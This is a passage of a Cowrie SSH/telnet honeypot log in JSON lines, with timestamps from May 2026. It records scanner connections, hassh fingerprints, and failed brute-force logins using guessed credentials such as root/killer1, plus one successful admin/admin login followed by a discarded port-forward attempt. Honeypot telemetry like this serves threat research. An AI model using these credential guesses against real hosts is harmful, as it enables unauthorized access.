ngCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:56.230093Z","src_ip":"62.133.62.83","session":"faef305e1e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer1","message":"login attempt [root/killer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:56.949662Z","src_ip":"62.133.62.83","session":"faef305e1e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:58.031875Z","src_ip":"62.133.62.83","session":"faef305e1e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":57140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a3ed5011dd3","protocol":"ssh","message":"New connection: 176.65.148.108:57140 (10.17.0.5:22) [session: 2a3ed5011dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:27.260493Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:27.344740Z","src_ip":"176.65.148.108","session":"2a3ed5011dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":57144,"dst_ip":"10.17.0.5","dst_port":22,"session":"d45595194159","protocol":"ssh","message":"New connection: 176.65.148.108:57144 (10.17.0.5:22) [session: d45595194159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:27.423244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:27.428463Z","src_ip":"176.65.148.108","session":"d45595194159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:27.510885Z","src_ip":"176.65.148.108","session":"d45595194159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:27.761904Z","src_ip":"176.65.148.108","session":"d45595194159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":42968,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c5d7b022529","protocol":"ssh","message":"New connection: 103.172.78.219:42968 (159.203.135.109:22) [session: 5c5d7b022529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:28.736345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:28.740907Z","src_ip":"103.172.78.219","session":"5c5d7b022529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:28.847811Z","src_ip":"176.65.148.108","session":"d45595194159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:29.011001Z","src_ip":"103.172.78.219","session":"5c5d7b022529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q12345678","message":"login attempt [root/q12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:29.793573Z","src_ip":"103.172.78.219","session":"5c5d7b022529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:02:31.057667Z","src_ip":"103.172.78.219","session":"5c5d7b022529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57942,"dst_ip":"159.203.135.109","dst_port":22,"session":"623d7bf1ca29","protocol":"ssh","message":"New connection: 2.57.122.238:57942 (159.203.135.109:22) [session: 623d7bf1ca29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:05.879041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:05.886093Z","src_ip":"2.57.122.238","session":"623d7bf1ca29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:05.988678Z","src_ip":"2.57.122.238","session":"623d7bf1ca29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:06.295511Z","src_ip":"2.57.122.238","session":"623d7bf1ca29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:07.400508Z","src_ip":"2.57.122.238","session":"623d7bf1ca29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54404,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e6f59ce1ee4","protocol":"ssh","message":"New connection: 87.251.79.125:54404 (10.17.0.5:22) [session: 7e6f59ce1ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:20.168838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:20.173224Z","src_ip":"87.251.79.125","session":"7e6f59ce1ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:20.344129Z","src_ip":"87.251.79.125","session":"7e6f59ce1ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaman","message":"login attempt [root/shaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:20.558335Z","src_ip":"87.251.79.125","session":"7e6f59ce1ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:21.633031Z","src_ip":"87.251.79.125","session":"7e6f59ce1ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36248,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b656589cce","protocol":"ssh","message":"New connection: 103.149.170.125:36248 (159.203.135.109:22) [session: 95b656589cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:29.360778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:29.365129Z","src_ip":"103.149.170.125","session":"95b656589cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:29.630252Z","src_ip":"103.149.170.125","session":"95b656589cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"twilight","message":"login attempt [root/twilight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:30.425927Z","src_ip":"103.149.170.125","session":"95b656589cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:31.694447Z","src_ip":"103.149.170.125","session":"95b656589cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45432,"dst_ip":"10.17.0.5","dst_port":22,"session":"8743b6218dfc","protocol":"ssh","message":"New connection: 87.251.64.176:45432 (10.17.0.5:22) [session: 8743b6218dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:47.594638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:47.598632Z","src_ip":"87.251.64.176","session":"8743b6218dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:47.694664Z","src_ip":"87.251.64.176","session":"8743b6218dfc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:47.984575Z","src_ip":"87.251.64.176","session":"8743b6218dfc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:48.082690Z","session":"8743b6218dfc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:48.180635Z","src_ip":"87.251.64.176","session":"8743b6218dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:03:48.279605Z","src_ip":"87.251.64.176","session":"8743b6218dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":49240,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7fd614eaeea","protocol":"ssh","message":"New connection: 103.149.28.157:49240 (159.203.135.109:22) [session: f7fd614eaeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:01.935978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:01.941070Z","src_ip":"103.149.28.157","session":"f7fd614eaeea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:02.190625Z","src_ip":"103.149.28.157","session":"f7fd614eaeea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5532361cnjqrf","message":"login attempt [root/5532361cnjqrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:02.939185Z","src_ip":"103.149.28.157","session":"f7fd614eaeea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:04.190960Z","src_ip":"103.149.28.157","session":"f7fd614eaeea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36018,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e5a1ed2163","protocol":"telnet","message":"New connection: 192.119.13.58:36018 (10.17.0.5:23) [session: e0e5a1ed2163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:11.024318Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":42196,"dst_ip":"10.17.0.5","dst_port":22,"session":"628366288953","protocol":"ssh","message":"New connection: 80.94.92.171:42196 (10.17.0.5:22) [session: 628366288953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:12.905987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:04:12.954425Z","src_ip":"80.94.92.171","session":"628366288953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-